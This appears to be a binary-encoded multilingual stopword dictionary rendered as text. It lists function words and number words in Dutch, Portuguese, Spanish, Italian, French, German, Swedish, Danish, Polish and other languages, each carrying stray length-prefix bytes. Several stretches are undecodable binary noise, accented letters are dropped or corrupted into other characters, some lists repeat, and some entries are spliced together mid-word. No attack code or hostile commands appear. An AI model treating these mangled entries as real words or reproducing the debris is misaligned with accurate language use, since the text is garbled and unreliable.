"oudsher0
$oudtijds0
over0
,over-en-weer0
 overal0
&overboord0
"overdag0
&overdwars0
"overeen0
$overeind0
$overheen0
$overhoop0
&overigens0
$overmits0
(overmorgen0
&overstaan0
$overstag0
"overzij0
paf0
 pakweg0
pal0
oraz0
p0
oni0
on0
ono0
one0
onde0
ontem0
onze0
ora0
os0
ou0
outra0
 outras0
 outrem0
outro0
"outrora0
 outros0
&outrossim0
onde0
ontem0
os0
ou0
outra0
 outras0
outro0
 outros0
p0
p0
p0
orka0
 orkade0
"orkades0
"orkande0
$orkandes0
orkar0
orkas0
orkat0
 orkats0
on0
only0
or0
onlar0
ono0
$onohL
zX8
n
z:
jH,

l
N
0

			V4	l	D		l<

>R

0p<

Xf<jH$rxhH,Rx:
&`
UE
F0
tja0
tjah0
to0
to0
too0
too0
topp0
 tralla0
$trallala0
(trallalala0
trapp0
trara0
	to0
	too0
	to0
	too0

toda0

todas0

"todava0

todo0

todos0

tras0

trece0

"trecena0

$trecenas0

"treceno0

$trecenos0

&tredcima0

(tredcimas0

&tredcimo0

(tredcimos0

"treinta0

0treintaidosena0

2treintaidosenas0

0treintaidoseno0

2treintaidosenos0

&treintena0

(treintenas0

&treinteno0

(treintenos0

tres0

*trescientos0

,tricentsima0

.tricentsimas0

,tricentsimo0

.tricentsimos0

&trigsima0

(trigsimas0

&trigsimo0

(trigsimos0
toi0
ton0
$touchant0
tous0
tout0
toute0
 toutes0
 treize0
&treizime0
(treizimes0
 trente0
&trentime0
(trentimes0
to'0
tot0
tra0
trac0
 tranne0
$transeat0
tre0
,trecentesimo0
$trecento0
,trecentomila0
*tredicesimo0
"tredici0
*tredicimila0
"tremila0
 trenta0
,trentacinque0
4trentacinquesimo0
&trentadue0
.trentaduesimo0
(trentamila0
(trentanove0
0trentanovesimo0
6trentaquattresimo0
.trentaquattro0
&trentasei0
0trentaseiesimo0
*trentasette0
2trentasettesimo0
0trentatreesimo0
&trentatr0
(trentesimo0
.trentottesimo0
&trentotto0
"trentun0
,trentunesimo0
$trentuno0
to0
too0
to0
too0
tja0
toch0
toe0
toen0
&toenmaals0
*toentertijd0
tot0
&totaliter0
 totdat0
"tremolo0
to0
tobie0
tob0
to0
toda0
todas0
"todavia0
todo0
todos0
torna0
"tornada0
$tornadas0
"tornado0
$tornados0
 tornai0
"tornais0
 tornam0
$tornamos0
$tornando0
 tornar0
"tornara0
"tornar0
$tornaram0
(tornramos0
$tornaro0
$tornaras0
$tornars0
&tornardes0
$tornarei0
&tornareis0
&tornreis0
$tornarem0
(tornaremos0
$tornares0
$tornaria0
&tornariam0
*tornaramos0
&tornarias0
(tornareis0
&tornarmos0
 tornas0
$tornasse0
(tornsseis0
&tornassem0
*tornssemos0
&tornasses0
$tornaste0
&tornastes0
"tornava0
$tornavam0
(tornvamos0
$tornavas0
&tornveis0
torne0
 tornei0
"torneis0
 tornem0
$tornemos0
 tornes0
torno0
 tornou0
tos0
.trasanteontem0
,trecentsima0
.trecentsimas0
,trecentsimo0
.trecentsimos0
treze0
&trezentas0
&trezentos0
&trigsima0
(trigsimas0
&trigsimo0
(trigsimos0
"trilho0
$trilhes0
toda0
todas0
todo0
todos0
tja0
tjugo0
(tjugoandra0
(tjugoandre0
"tjugoen0
$tjugoett0
$tjugofem0
(tjugofemte0
*tjugofjrde0
&tjugofyra0
*tjugofrsta0
*tjugofrste0
$tjugonde0
$tjugonio0
*tjugonionde0
$tjugosex0
*tjugosjette0
$tjugosju0
*tjugosjunde0
$tjugotre0
*tjugotredje0
$tjugotv0
&tjugotta0
,tjugottonde^8


F tN&l<~l
J
 
			Z8	ff	F	Z6*		fL$,hJlH"fT@~Z2x0|\8lH&~L2\6~\>"r >ZflF"\8rL"h@"z`
Unb KDl:0
_0
_0
a0
a0
a0
a0
about0
about0
ab0
aber0
"abseits0
&abzglich0
ach0
acht0
achte0
 achtem0
 achten0
 achter0
&achterlei0
 achtes0
0achtundachtzig0
6achtundachtzigste0
8achtundachtzigstem0
8achtundachtzigsten0
8achtundachtzigster0
8achtundachtzigstes0
0achtunddreiig0
6achtunddreiigste0
8achtunddreiigstem0
8achtunddreiigsten0
8achtunddreiigster0
8achtunddreiigstes0
0achtundfnfzig0
6achtundfnfzigste0
8achtundfnfzigstem0
8achtundfnfzigsten0
8achtundfnfzigster0
8achtundfnfzigstes0
0achtundneunzig0
6achtundneunzigste0
8achtundneunzigstem0
8achtundneunzigsten0
8achtundneunzigster0
8achtundneunzigstes0
0achtundsechzig0
6achtundsechzigste0
8achtundsechzigstem0
8achtundsechzigsten0
8achtundsechzigster0
8achtundsechzigstes0
0achtundsiebzig0
6achtundsiebzigste0
8achtundsiebzigstem0
8achtundsiebzigsten0
8achtundsiebzigster0
8achtundsiebzigstes0
0achtundvierzig0
6achtundvierzigste0
8achtundvierzigstem0
8achtundvierzigsten0
8achtundvierzigster0
8achtundvierzigstes0
0achtundzwanzig0
6achtundzwanzigste0
8achtundzwanzigstem0
8achtundzwanzigsten0
8achtundzwanzigster0
8achtundzwanzigstes0
$achtzehn0
(achtzehnte0
*achtzehntem0
*achtzehnten0
*achtzehnter0
*achtzehntes0
"achtzig0
(achtzigste0
*achtzigstem0
*achtzigsten0
*achtzigster0
*achtzigstes0
	about0
	a0
	about0

a0

ab0

abajo0

 acerca0
a0
a0
abbi0
abbia0
"abbiamo0
"abbiano0
"abbiate0
&accidenti0
&acciocch0
*accipicchia0
about0
_0
a0
about0
a0
a0
aan0
 aaneen0
&aangaande0
&aangezien0
(aanstaande0
&aanstonds0
&aardigjes0
*abracadabra0
$absoluut0
ach0
 achter0
&achteraan0
$achteraf0
&achtereen0
4achtereenvolgens0
$achteren0
(achterheen0
$achterin0
$achterna0
$achterom0
$achterop0
(achterover0
0achterstevoren0
&achteruit0
(achterwege0
$achttien0
a0
_0
ach0
acha0
a0
 abaixo0
acaso0
0aceleradamente0
 acerca0
acima0
acol0
a0
a0
a0
ack0
about0
a0
a0
a0
a0
a0
a0
a&abzglich0
ach0
acht0
achte0
 achtem0
 achten0
 achter0
&achterlei0
 achtes0
0achtundachtzig0
6achtundachtzigste0
8achtundachtzigstem0
8achtundachtzigsten0
8achtundachtzigster0
8achtundachtzigstes0
0achtunddreiig0
6achtunddreiigste0
8achtunddreiigstem0
8achtunddreiigsten0
8achtunddreiigster0
8achtunddreiigstes0
0achtundfnfzig0
6achtundfnfzigste0
8achtundfnfzigstem0
8achtundfnfzigsten0
8achtundfnfzigster0
8achtundfnfzigstes0
0achtundneunzig0
6achtundneunzigste0
8achtundneunzigstem0
8achtundneunzigsten0
8achtundneunzigster0
8achtundneunzigstes0
0achtundsechzig0
6achtundsechzigste0
8achtundsechzigstem0
8achtundsechzigsten0
8achtundsechzigster0
8achtundsechzigstes0X.


f
<

VH

j
:

		Z	$	Lv>h0R"zBl4vjBPf20R8J\6vdT:8, zZ@6NzL
d n*jv"`
UJ][0
ad0
af0
after0
after0
"aldeles0
 aldrig0
alene0
all0
all0
alle0
$allerede0
&allesteds0
&alligevel0
ah0
aha0
ahoi0
 alldem0
(alldieweil0
alle0
"alledem0
 allein0
allem0
allen0
aller0
$allerlei0
alles0
allzu0
	after0
	all0
	after0
	all0

$adelante0

 adems0

"adentro0

adis0

 adonde0

 adnde0

 afuera0

ah0

ahora0

aj0

&albricias0

ale0

"aleluya0

algo0

"alguien0

 alguna0

"algunas0

 alguno0

"algunos0

algn0
adieu0
afin0
ah0
ai0
aie0
aient0
aies0
ait0
al.0
 alerte0
all0
alors0
ad0
$affinch0
agli0
ah0
ahi0
ahim0
ai0
al0
alal0
alcun0
 alcuna0
$alcunch0
 alcune0
 alcuni0
 alcuno0
alla0
alle0
allo0
$allorch0
*allorquando0
$alquanta0
$alquante0
$alquanti0
$alquanto0
after0
all0
after0
all0
ad0
adieu0
af0
afijn0
ah0
aha0
al0
 aldaar0
 aldoor0
aldra0
aldus0
aleer0
 alhier0
$alhoewel0
alias0
alla0
 allang0
"allebei0
&allebeide0
"alledag0
allee0
 alleen0
$allegaar0
$alleluja0
$allemaal0
"allengs0
(allerwegen0
alles0
,allesbehalve0
&alleszins0
"allicht0
 almaar0
alom0
ale0
albo0
"ademais0
"adentro0
&adiantado0
"adiante0
 adrede0
afora0
agora0
$agorinha0
ainda0
 alerta0
algo0
 algum0
algum0
 alguma0
"algumas0
 alguns0
"algures0
"alhures0
ali0
alis0
agora0
ainda0
"algumas0
 alguns0
ad0
"aderton0
&adertonde0
adj0
af0
aha0
ajss0
 aldrig0
all0
alla0
alle0
(allesamman0
*allesammans0
"allihop0
$allihopa0
allo0
allom0
alls0
allt0
,allteftersom0
$alltfler0
$alltihop0
"allting0
$alltings0
&alltmedan0
*alltsammans0
&alltsedan0
after0
all0
aksi0
al0
!ah0
> adalah0
ai0
al0
ale0
alor0
 appena0
*arrivederci0
*arrivederla0
"attenti0
after0
all0
also0
an0
and0
"another0
any0
are0
as0
at0
after0
all0
also0
an0
and0
"another0
any0
are0
as0
at0
ad0
adieu0
af0
afijn0
ah0
aha0
al0
 aldaar0
 aldoor0
aldra0
aldus0
aleer0
 alhier0
$alhoewel0
alias0
alla0
 allang0
"allebei0
&allebeide0
"alledag0
allee0
 alleen0
$allegaar0
$alleluja0
$allemaal0
"allengs0
(allerwegen0
alles0
,allesbehalve0
&alleszins0
"allicht0
 almaar0
alom0
alras0
"alreeds0
ale0
albo0
"ademais0
"adentro0

n
J
&
$|xT2		hL	(r^J:|(


~
\
6

	`Z:|	Fb
,vb|V\@ 4:r~Xd@:Bd	D	$		>ZXB&$$>"tV<
Z$^@

"t\xp>N.v
rv&`

tUFHV0
bl0
 blandt0
blev0
 blevet0
blive0
 bliver0
blot0
bort0
borte0
both0
both0
burde0
 burdet0
but0
but0
by0
by0
bde0
br0
c0
c0
c0
c0
came0
came0
can0
can0
boing0
"brauche0
$brauchen0
&brauchend0
&brauchest0
$brauchet0
$brauchst0
"braucht0
$brauchte0
&brauchten0
(brauchtest0
&brauchtet0
bravo0
brr0
$bruchte0
&bruchten0
(bruchtest0
&bruchtet0
buh0
bum0
bums0
bzgl.0
bzw.0
bh0
	both0
	but0
	by0
	came0
	can0
	c0
	both0
	but0
	by0
	came0
	can0

cabe0

cada0

"caramba0

caray0

$cataplum0

$catapln0

"catorce0

&catorcena0

(catorcenas0

&catorceno0

(catorcenos0

ce0
c0
bof0
bon0
 bougre0
boum0
(bravissimo0
bravo0
car0
ce0
ceci0
c0
boh0
(buonanotte0
&buonasera0
 buond0
(buongiorno0
"cadauna0
"cadauno0
"casomai0
"caspita0
ce0
c0
both0
but0
by0
came0
can0
both0
but0
by0
came0
can0
c0
c0
$bleekjes0
&blijkbaar0
$blijkens0
*blindelings0
,blootshoofds0
*blootsvoets0
boe0
boem0
"bonjour0
botel0
 botweg0
"boudweg0
boven0
$bovenaan0
"bovenaf0
"bovenal0
&bovenarms0
&bovendien0
&bovenmate0
"bovenom0
"bovenop0
&bovenover0
$bovenuit0
(bravissimo0
$breeduit0
(brutaalweg0
bruto0
 buiten0
$buitenaf0
,buitenboords0
(buitendien0
*buitengaats0
(buitenmate0
$buitenom0
$buitenop0
*buitenshuis0
,buitenslands0
(buitenspel0
*buitentijds0
capo0
c0
by0
bycie0
bycia0
byciu0
 byciem0
 byciom0
"byciami0
"byciach0
byBem0
byBe[0
byB0
"byli[my0
$byli[cie0
byli0
byBam0
byBa[0
byBa0
"byBy[my0
$byBy[cie0
byBy0
byBo[0
byBo0
 byBbym0
 byBby[0
byBby0
&byliby[my0
(byliby[cie0
 byliby0
"byBabym0
"byBaby[0
 byBaby0
&byByby[my0
(byByby[cie0
 byByby0
"byBobym0
"byBoby[0
 byBoby0
boa0
boas0
$boazinha0
&boazinhas0
bom0
$bonacho0
&bonaches0
&bonachona0
(bonachonas0
&bonssima0
(bonssimas0
&bonssimo0
(bonssimos0
bons0
 bonzo0
$bonzinho0
&bonzinhos0
"bonzes0
"bonzona0
$bonzonas0
breve0
$bulhufas0
bus0
cada0
cad0
caro0
caso0
"catorze0
"cedinho0
cedo0
c0
cada0
c0
c0
bl0
bl.0
bland0
blev0
bli0
blir0
bliv0
bliva0
$blivande0
 bliver0
 blivit0
blott0
borde0
bort0
$bortemot0
 bortom0
 bortt0
"bredvid0
bda0
$bdadera0
bdas0
both0
bux"fJ~
Nh8j0
	x^BH,>>^~02NnZ<^x*2f~LN


`
*N&`6.pJ&X4		zV4|Z~X2	`	dDbh0&rR.J.:~ZZ4F	<F
,	

jP
x
rT8N
*

x`
UA0d0
dig0
din0
dine0
disse0
dit0
do0
do0
dog0
du0
dir0
doch0
drei0
&dreierlei0
0dreiundachtzig0
6dreiundachtzigste0
8dreiundachtzigstem0
8dreiundachtzigsten0
8dreiundachtzigster0
8dreiundachtzigstes0
0dreiunddreiig0
6dreiunddreiigste0
8dreiunddreiigstem0
8dreiunddreiigsten0
8dreiunddreiigster0
8dreiunddreiigstes0
0dreiundfnfzig0
6dreiundfnfzigste0
8dreiundfnfzigstem0
8dreiundfnfzigsten0
8dreiundfnfzigster0
8dreiundfnfzigstes0
0dreiundneunzig0
6dreiundneunzigste0
8dreiundneunzigstem0
8dreiundneunzigsten0
8dreiundneunzigster0
8dreiundneunzigstes0
0dreiundsechzig0
6dreiundsechzigste0
8dreiundsechzigstem0
8dreiundsechzigsten0
8dreiundsechzigster0
8dreiundsechzigstes0
0dreiundsiebzig0
6dreiundsiebzigste0
8dreiundsiebzigstem0
8dreiundsiebzigsten0
8dreiundsiebzigster0
8dreiundsiebzigstes0
0dreiundvierzig0
6dreiundvierzigste0
8dreiundvierzigstem0
8dreiundvierzigsten0
8dreiundvierzigster0
8dreiundvierzigstes0
0dreiundzwanzig0
6dreiundzwanzigste0
8dreiundzwanzigstem0
8dreiundzwanzigsten0
8dreiundzwanzigster0
8dreiundzwanzigstes0
$dreizehn0
(dreizehnte0
*dreizehntem0
*dreizehnten0
*dreizehnter0
*dreizehntes0
"dreiig0
(dreiigste0
*dreiigstem0
*dreiigsten0
*dreiigster0
*dreiigstes0
 dritte0
"drittem0
"dritten0
"dritter0
"drittes0
durch0
 durfte0
"durften0
$durftest0
"durftet0
drfe0
	do0
	does0
	do0
	does0

doce0

 docena0

"docenas0

 doceno0

"docenos0

donde0

dos0

(doscientos0

*ducentsima0

,ducentsimas0

*ducentsimo0

,ducentsimos0

&duodcima0

(duodcimas0

&duodcimo0

(duodcimos0

"durante0

 dcima0

"dcimas0

 dcimo0

"dcimos0

dnde0
dix0
"dixime0
$diximes0
dois0
doit0
doive0
"doivent0
 doives0
donc0
dont0
&doucement0
douze0
$douzime0
&douzimes0
du0
dudit0
due0
dues0
 duquel0
 durant0
 durent0
dus0
"dussent0
dut0
ds0
d0
dt0
"dinanzi0
$dobbiamo0
$dobbiate0
(dodicesimo0
 dodici0
(dodicimila0
donde0
dopo0
"dopoch0
&dopodich0
dove0
dovei0
"dovemmo0
"dovendo0
"dovente0
"doventi0
 dovere0
"dovesse0
&dovessero0
"dovessi0
&dovessimo0
"doveste0
"dovesti0
 dovete0
"dovette0
&dovettero0
"dovetti0
 doveva0
$dovevamo0
$dovevano0
$dovevate0
 dovevi0
 dovevo0
 dovrai0
$dovranno0
$dovrebbe0
(dovrebbero0
 dovrei0
$dovremmo0
"dovremo0
$dovreste0
$dovresti0
"dovrete0
dovr0
dovr0
 dovuta0
 dovute0
 dovuti0
 dovuto0
dov0
due0
,duecentesimo0
$duecento0
6duecentocinquanta0
>duecentocinquantesimo0
,duecentomila0
"duemila0
 dunque0
"durante0
do0
do0
does0
"dikwerf0
$dikwijls0
dig~Xb$,v2^<



Z
0

h>J

t
<

		f	.	P x@
j2\$~Nn8`(hH(fB lL,^8jD"z\@P,jLnP4\"vNd*
*Dx
J`>`
U	JL>0
ej0
eller0
 ellers0
en0
end0
endda0
endnu0
&endvidere0
ene0
 eneste0
er0
elf0
$elferlei0
elfte0
 elftem0
 elften0
 elfter0
 elftes0
$entgegen0
"entlang0
$entweder0
er0
	else0
	else0

ejem0

el0

ella0

ellas0

ello0

ellos0

 empero0

en0

entre0

"ensima0

$ensimas0

"ensimo0

$ensimos0

epa0

era0

erais0

eran0

eras0

eres0

ergo0
elle0
elles0
en0
$encontre0
"endans0
entre0
 envers0
ella0
$entrambe0
$entrambi0
eppur0
 eppure0
era0
erano0
"eravamo0
"eravate0
ergo0
eri0
ero0
else0
 elders0
elk0
 elkaar0
"elkaars0
$elkander0
&elkanders0
elke0
 elkeen0
en0
*en-tout-cas0
en/of0
ene0
$enenmale0
&enerzijds0
enfin0
enig0
enige0
 enigen0
(enigermate0
*enigerwijze0
&enigszins0
enkel0
 enkele0
"enkelen0
&enzovoort0
(enzovoorts0
er0
eraan0
$erachter0
eraf0
erbij0
"erboven0
&erbovenop0
$erbuiten0
 erdoor0
(erdoorheen0
ere0
 ergens0
ergo0
 erheen0
erin0
ermee0
erna0
 ernaar0
"ernaast0
erom0
$eromheen0
"eronder0
ela0
elas0
ele0
eles0
em0
"embaixo0
 embora0
"ensima0
$ensimas0
"ensimo0
$ensimos0
enfim0
*enormemente0
$enquanto0
"entanto0
ento0
entre0
*entrementes0
(entretanto0
era0
eram0
eras0
ele0
em0
 embora0
$enquanto0
"entanto0
ento0
entre0
era0
ej0
el.0
elfte0
eller0
elva0
 emedan0
"emellan0
emot0
en0
ena0
enda0
ende0
 endera0
ene0
enl0
enl.0
 enligt0
ens0
"enstaka0
envar0
enr0
er0
era0
"elbette0
el0
en0
er0
en0
er$enenmale0
&enerzijds0
enfin0
enig0
enige0
 enigen0
(enigermate0
*enigerwijze0
&enigszins0
enkel0
 enkele0
"enkelen0
&enzovoort0
(enzovoorts0
er0
eraan0
$erachter0
eraf0
erbij0
"erboven0
&erbovenop0
$erbuiten0
 erdoor0
(erdoorheen0
ere0
 ergens0
ergo0
 erheen0
erin0
ermee0
erna0
 ernaar0
"ernaast0
erom0
$eromheen0
"eronder0
*eronderdoor0
&eronderop0
(eronderuit0
erop0
"eropaan0
 eropaf0
 eropin0
 eropna0
"eropuit0
 erover0
(eroverheen0
"ertegen0
(ertegenaan0
&ertegenin0
&ertegenop0
*ertegenover0
ertoe0
$ertussen0
,ertussendoor0
(ertussenin0
*ertussenuit0
eruit0
ervan0
&ervandaan0
&ervandoor0
 ervoor0
ela0
elas0
ele0
eles0
em0
"embaixo0
 embora0
"ensima0
$ensimas0
"ensimo0
$ensimos0
enfim0
*enormemente0



v
V
:


brFbBP.*xZhB(vR0
4R@ppx0jjN4


n
D

				Ld~	Z	@	J$"	ltR2~fx~fT~Z8X8J02
NT2`
UD4'30
6einundsechzigstes0
.einundsiebzig0
4einundsiebzigste0
6einundsiebzigstem0
6einundsiebzigsten0
6einundsiebzigster0
6einundsiebzigstes0
.einundvierzig0
4einundvierzigste0
6einundvierzigstem0
6einundvierzigsten0
6einundvierzigster0
6einundvierzigstes0
.einundzwanzig0
4einundzwanzigste0
6einundzwanzigstem0
6einund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hvorefter0
"hvorfra0
"hvorhen0
$hvorimod0
&hvorledes0
"hvormed0
 hvorom0
 hvorp0
"hvortil0
"hvorved0
i0
i0
i0
hott0
hu0
huch0
huf0
huh0
huhu0
hui0
"hundert0
(hundertste0
*hundertstem0
*hundertsten0
*hundertster0
*hundertstes0
hurra0
husch0
hussa0
"hussasa0
h0
hh0
 hhh0
htte0
 htten0
"httest0
 httet0
 hchst0
h0
hf0
hh0
hst0
	how0
	how0

hube0

"hubiera0

&hubierais0

$hubieran0

$hubieras0

"hubiere0

&hubiereis0

$hubieren0

$hubieres0

$hubieron0

"hubiese0

&hubieseis0

$hubiesen0

$hubieses0

"hubimos0

"hubiste0

&hubisteis0

(hubiramos0

(hubiremos0

(hubisemos0

hubo0

hurra0

huy0
i0
hou0
 hourra0
hue0
huit0
$huitante0
*huitantime0
$huitime0
&huitimes0
hum0
 hurrah0
h0
hlas0
i0
i0
how0
how0
i0
i0
,hoteldebotel0
"huistoe0
(huiswaarts0
hun0
hunne0
 hunnen0
,hunnenthalve0
*hunnentwege0
(hunnentwil0
h0
ho0
hs0
houve0
$houvemos0
 houver0
"houvera0
$houveram0
(houvramos0
$houveras0
&houverdes0
&houvreis0
$houverem0
$houveres0
&houvermos0
$houvesse0
(houvsseis0
&houvessem0
*houvssemos0
&houvesses0
$houveste0
&houvestes0
h0
hos0
$hosianna0
 hundra0
$hundrade0
*hundratusen0
hur0
 hurdan0
"hurdana0
"hurdant0
hurra0
"hurudan0
"hurusom0
$huruvida0
hrom0
(hromkring0
how0
i0
iuitantime0
$huitime0
&huitimes0
hum0
 hurrah0
h0
hlas0
il0
ils0
i0
idem0
ih0
il0
in0
$indietro0
"infatti0
"insieme0
 invece0
io0
i0
how0
if0
in0
into0
how0
if0
in0
into0
i0
i0
,hoteldebotel0
"huistoe0
(huiswaarts0
hun0
hunne0
 hunnen0
,hunnenthalve0
*hunnentwege0
(hunnentwil0
&idealiter0
idem0
ieder0
 iedere0
$iedereen0
 ieders0
 iemand0
"iemands0
iets0
 ietwat0
&ijdellijk0
"ijlings0
ik0
 ikzelf0
il0
immer0
&immermeer0
 immers0
in0
"incluis0
&inderdaad0
(inderhaast0
&indertijd0
 indien0
ineen0
 ineens0
"ingeval0
&ingevolge0
&inmiddels0
$inplaats0
(insgelijks0
,instantelijk0
*integendeel0
"intijds0
$intussen0
 inzake0
,inzonderheid0
i0
im0
ich0
h0
ho0
hs0
houve0
$houvemos0
 houver0
"houvera0
$houveram0
(houvramos0
$houveras0
&houverdes0
&houvreis0
$houverem0
$houveres0
&houvermos0
$houvesse0
NJ
V@*8hH&~


^:rV80
rT6Z8
z
^
2

P,pH&hB



			~	X	6		`<b@$
zlF`<^>
z
`
ld`
U\J|[j0
knap0
kom0
komme0
 kommer0
kun0
kunne0
l0
l0
l0
l0
lade0
langs0
lave0
lidt0
lige0
&ligeledes0
like0
like0
lnge0
m0
m0
m0
m0
 konnte0
"konnten0
$konntest0
"konntet0
 kontra0
krach0
kraft0
krah0
ksch0
"kuckuck0
knne0
 knnen0
"knnend0
"knnest0
 knnet0
knnt0
 knnte0
"knnten0
$knntest0
"knntet0
lang0
laut0
links0
lt.0
lngs0
	like0
	l0
	m0
	like0

la0

larga0

largo0

las0

le0

les0

lo0

los0

luego0
l0
m0
la0
 ladite0
$laquelle0
las0
le0
ledit0
 lequel0
les0
$lesdites0
"lesdits0
(lesquelles0
$lesquels0
leur0
leurs0
"lorsque0
lui0
l0
l0
m0
la0
le0
lei0
li0
lo0
loro0
(lorsignori0
lui0
lungo0
l0
m0
like0
like0
l0
m0
l0
m0
"knapjes0
"knusjes0
$koeltjes0
"koelweg0
koest0
 komaan0
 kortaf0
(kortelings0
0kortheidshalve0
 kortom0
"kortweg0
&krachtens0
"krapjes0
krek0
$kriskras0
*kruipelings0
*kruiselings0
$kukeleku0
*kwaadschiks0
$kwansuis0
&kwanswijs0
kwijt0
*laatstelijk0
lala0
langs0
,langsscheeps0
$langszij0
"languit0
.langzamerhand0
(lekkertjes0
lento0
"leukweg0
*lichtelaaie0
,lichterlaaie0
"liefjes0
(lieverlede0
&lieverlee0
&lijwaarts0
"linksaf0
"linksom0
 loever0
"loevert0
 losjes0
 losweg0
"luidens0
&luidkeels0
m'n0
lecz0
l0
m0
ktry0
"ktrego0
"ktremu0
 ktrym0
 ktrzy0
"ktrych0
"ktrymi0
ktra0
 ktrej0
ktr0
ktre0
l0
lha0
lhas0
lhe0
lhes0
lho0
lhos0
logo0
longe0
l0
lhe0
m0
l0
m0
l0
m0
 kontra0
kreti0
kring0
legio0
"likadan0
$likadana0
$likadant0
"likasom0
 liksom0
likt0
litet0
lngs0
lt0
lts0
&lngsides0
lt0
lta0
"ltande0
$ltandes0
ltas0
lter0
ltit0
 ltits0
lts0
m.0
 m.a.o.0
 m.h.t.0
like0
l0
m0
l0
lakin0
m0
la0
l0
les0
>lah0
lae0
ma0
maior0
"maiores0
mais0
$malgrado0
l0
lhe0
m0
maior0
mais0
l0
m0
l0
m0
 kontra0
kreti0
kring0
legio0
"likadan0
$likadana0
$likadant0
"likasom0
 liksom0
likt0
litet0
lngs0
lt0
lts0
&lngsides0
lt0
lta0
"ltande0
$ltandes0
ltas0
lter0
ltit0
 ltits0
lts0
m.0
 m.a.o.0
 m.h.t.0
like0
l0
0(
v	Dn
Pb>lzH	d
pJ
.	P0	"

P4	N24P
"
^6	d@&~V	h	htV(L|*rdR>D	ZnNl
`	.8"
*dB"4


|Z8\>r
H
$
J,
n~N&N,|`>`
U*iJ]90
never0
never0
nogen0
(nogenledes0
(nogenlunde0
(nogensinde0
noget0
(nogetsteds0
nogle0
nok0
 nichts0
nix0
noch0
	never0
	no0
	never0
	no0

ni0

"ninguna0

$ningunas0

"ninguno0

$ningunos0

 ningn0

no0

(nonagsima0

*nonagsimas0

(nonagsimo0

*nonagsimos0

0noningentsima0

2noningentsimas0

0noningentsimo0

2noningentsimos0
ni0
"nonante0
(nonantime0
*nonantimes0
(nonobstant0
 niente0
no0
noi0
$noialtre0
$noialtri0
non0
 nonch0
&nondimeno0
nono0
(nonostante0
never0
no0
"niemand0
niet0
niets0
4niettegenstaande0
&niettemin0
$nietwaar0
nihil0
niks0
 nimmer0
(nimmermeer0
noch0
$nochtans0
node0
nog0
nogal0
$nogmaals0
8noodzakelijkerwijs0
nooit0
noord0
"noorder0
&noordoost0
&noordwest0
 nopens0
 noppes0
(normaliter0
nie0
ni0
niego0
niemu0
nim0
nich0
nimi0
"ningum0
nisso0
nisto0
no0
no-la0
 no-las0
no-lo0
 no-los0
nona0
(nonagsima0
*nonagsimas0
(nonagsimo0
*nonagsimos0
nonas0
,nongentsimo0
.nongentsimos0
0noningentsima0
2noningentsimas0
0noningentsimo0
2noningentsimos0
nono0
nonos0
no0
ngn0
ngt0
ni0
nio0
&niohundra0
 nionde0
$niotusen0
 nittio0
*nittioandra0
*nittioandre0
$nittioen0
&nittioett0
&nittiofem0
*nittiofemte0
,nittiofjrde0
(nittiofyra0
,nittiofrsta0
,nittiofrste0
&nittionde0
&nittionio0
,nittionionde0
&nittiosex0
,nittiosjette0
&nittiosju0
,nittiosjunde0
&nittiotre0
,nittiotredje0
&nittiotv0
(nittiotta0
.nittiottonde0
 nitton0
$nittonde0
nix0
nja0
noll0
never0
neye0
"nitekim0
&nori0
 nostro0
"novanta0
.novantacinque0
6novantacinquesimo0
(novantadue0
0novantaduesimo0
*novantamila0
*novantanove0
2novantanovesimo0
8novantaquattresimo0
0novantaquattro0
(novantasei0
2novantaseiesimo0
,novantasette0
4novantasettesimo0
2novantatreesimo0
(novantatr0
*novantesimo0
0novantottesimo0
(novantotto0
$novantun0
.novantunesimo0
&novantuno0
nove0
.novecentesimo0
&novecento0
.novecentomila0
$novemila0
nulla0
*nulladimeno0
n0
o0
od0
ogni0
.ogniqualvolta0
 ognuna0
 ognuno0
oh0
ohe0
ohi0
ohib0
ohim0
okay0
oltre0
$oltrech0
ol0
o0
never0
now0
of0
no0
now0
of0
on0
o0
o0
"niemand0
niet0
niets0
4niettegenstaande0
&niettemin0
$nietwaar0
nihil0
niks0
 nimmer0
(nimmermeer0
noch0
$nochtans0
node0
nog0
nogal0
$nogmaals0
8noodzakelijkerwijs0
nooit0
noord0
"noorder0
&noordoost0
&noordwest0
 nopens0
 noppes0
(normalite
				f	H	*	B
d
T
"V
&
>\v2N
(xP2
zV:r6$$ZZZ4d>nFV,~<


n:j
n
<

rpV
V<b~D<`
UH/0
see0
see0
selv0
"seneste0
sehr0
sei0
seid0
seien0
 seiend0
 seiest0
seiet0
sein0
seine0
 seinem0
 seinen0
 seiner0
 seines0
0seinesgleichen0
"seinige0
$seinigen0
seins0
seist0
seit0
 seitab0
"seitdem0
"seitens0
$seitlich0
&seitwrts0
 selber0
 selbst0
	see0
	see0

"segunda0

$segundas0

"segundo0

$segundos0

segn0

seis0

*seiscientos0

"seisena0

$seisenas0

"seiseno0

$seisenos0

 sendas0

 sendos0

"septena0

$septenas0

"septeno0

$septenos0

2septingentsima0

4septingentsimas0

2septingentsimo0

4septingentsimos0

,septuagsima0

.septuagsimas0

,septuagsimo0

.septuagsimos0

ser0

"seremos0

ser0

sern0

sers0

ser0

 seris0

sera0

"serais0

$seramos0

 seran0

 seras0

"sesenta0
seize0
$seizime0
&seizimes0
selon0
sept0
$septante0
*septantime0
$septime0
&septimes0
sera0
serai0
$seraient0
 serais0
 serait0
seras0
serez0
 seriez0
"serions0
 serons0
 seront0
ses0
sei0
,seicentesimo0
$seicento0
,seicentomila0
"seimila0
 semmai0
&sennonch0
senza0
 seppur0
"seppure0
$sessanta0
0sessantacinque0
8sessantacinquesimo0
*sessantadue0
2sessantaduesimo0
,sessantamila0
,sessantanove0
4sessantanovesimo0
:sessantaquattresimo0
2sessantaquattro0
*sessantasei0
4sessantaseiesimo0
.sessantasette0
6sessantasettesimo0
4sessantatreesimo0
*sessantatr0
,sessantesimo0
2sessantottesimo0
*sessantotto0
&sessantun0
0sessantunesimo0
(sessantuno0
sesto0
see0
(seguidinho0
"seguido0
"segunda0
$segundas0
"segundo0
$segundos0
seis0
(seiscentas0
(seiscentos0
seja0
 sejais0
sejam0
"sejamos0
sejas0
sem0
(semelhante0
*semelhantes0
 sempre0
seno0
sendo0
 senhor0
"senhora0
$senhoras0
$senhores0
&senhorita0
(senhoritas0
,septuagsima0
.septuagsimas0
,septuagsimo0
.septuagsimos0
ser0
ser0
sero0
sers0
 serdes0
serei0
 sereis0
serem0
"seremos0
seres0
seria0
 seriam0
$seramos0
 serias0
"sereis0
 sermos0
$sessenta0
"segundo0
seja0
sem0
 sempre0
ser0
ser0
sen0
see0
sen0
sende0
 senden0
senido0

$segundos0

segn0

seis0

*seiscientos0

"seisena0

$seisenas0

